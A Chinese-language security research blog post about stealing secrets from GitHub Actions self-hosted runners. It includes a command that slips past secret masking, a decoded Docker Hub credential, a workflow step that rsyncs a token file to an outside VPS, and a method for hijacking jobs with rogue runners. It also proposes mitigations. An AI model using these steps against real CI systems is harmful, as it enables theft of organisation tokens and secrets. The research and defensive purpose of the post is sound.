关于从 GitHub Actions Self-Hosted Runner 中偷 Secrets/Credentials 的一些安全研究
Prologue
在上一篇文章「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」中,我们可以看到,由于需要动态注册 GitHub Runner,我们需要使用到自己的 Personal Access Token,而这个的使用方式是通过环境变量的方式注入到容器中的,部分 deployment 的内容如下:
containers:
- name: github-runner-some-github-org
imagePullPolicy: Always
image: 'n0vad3v/github-runner'
env:
- name: GITHUB_PAT
value: "ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT"
- name: GITHUB_ORG_NAME
value: "some-github-org"
- name: RUNNER_LABELS
value: "docker,internal-k8s"
这样的话在容器中我们可以通过 env
的方式拿到 Personal Access Token,对于外界攻击者来说,只要在 Workflow 中加入一句 env
,就可以看到:
好的, GitHub 还是稍微保护了一下我们的傻缺行为,但是攻击者肯定不傻,既然(显然易证) GitHub 是通过匹配字符串的方式来 mask 的,那只要改变一下,改为: env | grep ghp | base64
就可以绕开 GitHub 的限制直接偷到 Token 了
(此处没有截图)
而且由于需要注册 GitHub Runner 的 Personal Access Token 需要 admin:org
的权限,一旦被偷到 PAT 的话,那么攻击者就有了 Full control of orgs and teams, read and write org projects,是不是相当刺激!
根据观察,以下 Self Hosted GitHub Runner 的启动方式都有这样的问题:
- https://github.com/myoung34/docker-github-actions-runner
- https://github.com/SanderKnape/github-runner
- https://github.com/evryfs/github-actions-runner-operator
在我们开始想怎么解决这个问题前,我们先从 GitHub 上把他们 Docker Hub 的帐号给偷出来。
Steal from GitHub Actions
Again,在上文「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」中,我们知道 Docker Hub 对于未登录用户 pull 的次数有限制,但是 GitHub Actions 的机器不会受到限制,所以肯定是 GitHub Actions 的机器有一些处理,写一个 Workflow cat ~/.docker/config.json
就可以看到 GitHub Actions 的机器上已经登录了 Docker Hub
{
"auths": {
"https://index.docker.io/v1/": {
"auth": "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I="
}
}
}
echo "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I=" | base64 -d
githubactions:3d6472b9-3d49-4d17-9fc9-90d24258043b
所以直接偷出来用就好了(
Possible way to mitigate Self-hosted Runner vulnerability
好了,现在偷到了 Docker Hub 帐号,我们来看看上面 Runner 的问题如何解决。
在 Actions 中我们知道,要注册一个 GitHub Runner,需要提供 Token/Org name/Label 等参数,其中 Registration Token 只会在注册的时候使用一次,Remove Token 只会在注销的时候使用一次,且这两个 Token 在生成出来之后使用期限是 1hr(The token expires after one hour.),并且 Endpoint 是 https://api.github.com/orgs/ORG/actions/runners/registration-token
,由于这里的 Token 只能用于注册/注销 Runner, 权限特别低,所以我们可以想到利用一个安全托管的外部服务来动态提供 Token,由于是 Web 服务,最简单的就是直接用 ExpressJS 糊一个,关键代码如下:
const org_pat_map = {
"some-github-org-a": "ghp_bFLPOxxxxxxxxxxxxxxxxxxxxxxx",
"some-github-org-b": "ghp_JGIGxxxxxxxxxxxxxxxxZcj4KOij4"
}
app.get('/:github_org_name/registration-token', (req, res) => {
const registration_token_url= `https://api.github.com/orgs/${req.params.github_org_name}/actions/runners/registration-token`
const github_pat = org_pat_map[`${req.params.github_org_name}`]
const headers = {
'Authorization': `token ${github_pat}`
}
axios.post(registration_token_url,{},{headers: headers})
.then((github_res) => {
res.send(github_res['data']['token'])
})
})
这样,我们就获得了一个安全可靠的接口,用于获得 Runner 注册使用的 Token 了,用法类似:
export RUNNER_TOKEN=$(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token)
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"
这样我们就解决了 PAT 泄漏的问题,但是这里还有个攻击面,请继续往下~
Steal GitHub Secrets
有了 GitHub Actions,我们就会有一些自己的小秘密需要在任务中使用,比如,我们不希望别人知道 Honda 的 V-Tec 真的 is the best!,我们会定义这么个变量。
在传统的方法下,无论是 echo ${{ secrets.SUPRA_SECRET }}
还是 echo ${{ secrets.SUPRA_SECRET }} | base64
,都会被聪明的 GitHub 发现并且 Mask 掉。
但是我们可以在机器上发现
[centos@centos76_vm self-hosted-runner]$ pwd
/home/runner/actions-runner/_work/self-hosted-runner/self-hosted-runner
[centos@centos76_vm self-hosted-runner]$ cat token.txt
Vi1URUMgaXMgdGhlIEJlc3QhCg==
试试看:
➜ ~ echo "Vi1URUMgaXMgdGhlIEJlc3QhCg==" | base64 -d
V-TEC is the Best!
这让 MAZDA 这种大排量自吸车主怎么看!
由于本地已经存放了一个文件,只要在下方加入一个 Step,大概这么写:
- name: rsync deployments
uses: burnett01/[email protected]
with:
switches: -avzr
path: token.txt
remote_path: /root/trap/
remote_host: "111.111.111.111"
remote_user: root
remote_key: "ssh-rsa AAAAB3NzaC1y..."
一个 PR + 一个 VPS,就可以在自己的机器上拿到 Credentials 了。
回顾一下,这里有两个攻击面:
- 如果一个外界的人 Fork 了仓库并且写了一个恶意的 Workflow,只要这个 Workflow 能运行,那么肯定可以偷到 Credential,但是很多 Org 的管理员不傻,为了限制外界人员运行 Workflow,在 Approving workflow runs from public forks 中可以进行一些限制
- 虽然在 1 上进行了限制,一个外部的人没法运行 Workflow,但是由于 Runner 的环境变量中依然包含 Token,由于 Token 的有效期是 1hr,所以在一个节点刚刚上线的 1hr 内如果拿到了 Token(由于存放在环境变量中,某些 CI 可能 env 的时候刚好就暴露出来了 Runner Token,而且这个 Token 是不会被 Mask 掉的),那么攻击者可以快速在自己的环境下注册大量的相同 Label 的 Runner ,然后包含使用 Secret 的任务就有概率根据 Label 调度到攻击者的机器上
Once its on our machine
这里假设 2 已经成功,我们已经成功将任务调度到了我们的机器上,通过 https://github.com/brendangregg/perf-tools 监听事件我们可以发现,刚刚 Workflow 上的 echo ${{ secrets.SUPRA_SECRET }} | base64
事件在调度到机器上的时候,相关执行情况如下:
831 720 /usr/bin/bash -e /home/centos/actions-runner/_work/_temp/45fa598d-59b8-4262-8a64-6fda1694c2b2.sh
833 831 base64
834 831 cat token.txt
835 705 /home/centos/actions-runner/externals/node12/bin/node /home/centos/actions-runner/_work/_actions/actions/checkout/v2/dist/index.js
854 835 /usr/bin/git version
但是在任务完成了之后对应的 _temp 会被清理掉,所以我们需要一个方式来保留下来这个文件,比如
while true; do rsync /home/centos/actions-runner/_work/_temp/*.sh ./; done
然后打开 snoopexec:
./execsnoop >> log.txt
在任务完成之后停止 execsnoop 并清理一下 Log 中的 rsync 日志:
sed -i "/rsync/d" log.txt
我们来看看我们找到了什么:
[root@centos7 tmp-sh]# cat 420886e8-f604-4187-b3d2-b6455e45467a.sh
echo V-TEC is the Best! | base64 >> token.txt
cat token.txt
Solution
说起来蛮好笑的, 其实上面这个问题非常好解决,只要把:
export RUNNER_TOKEN=$(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token)
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"
换成以下就好了,根本就不应该在环境变量中放 RUNNER TOKEN。
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token $(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token) --labels "${RUNNER_LABELS}"
Summary
TL,DR
- 现在我们能搜到的大部分 Self-hosted Runner 都是通过环境变量中注入 PAT(Personal Access Token) 的方式运行的,这种情况下如果允许了外部 Fork 运行的话,一定可以被偷到 Access Token,然后你的整个 Org 都完了
- 对于 Self-hosted Runner,Runner 的 Token 都不能暴露出去,不然有概率被偷到 Secret,如果你的 Secret 包含 SSH_HOST,SSH_KEY 的话,基本也就完了
- 如果你用了外面的 Self-hosted Runner 或者类似的东西的话,在他们解决类似问题前,请只在 Private repo 下使用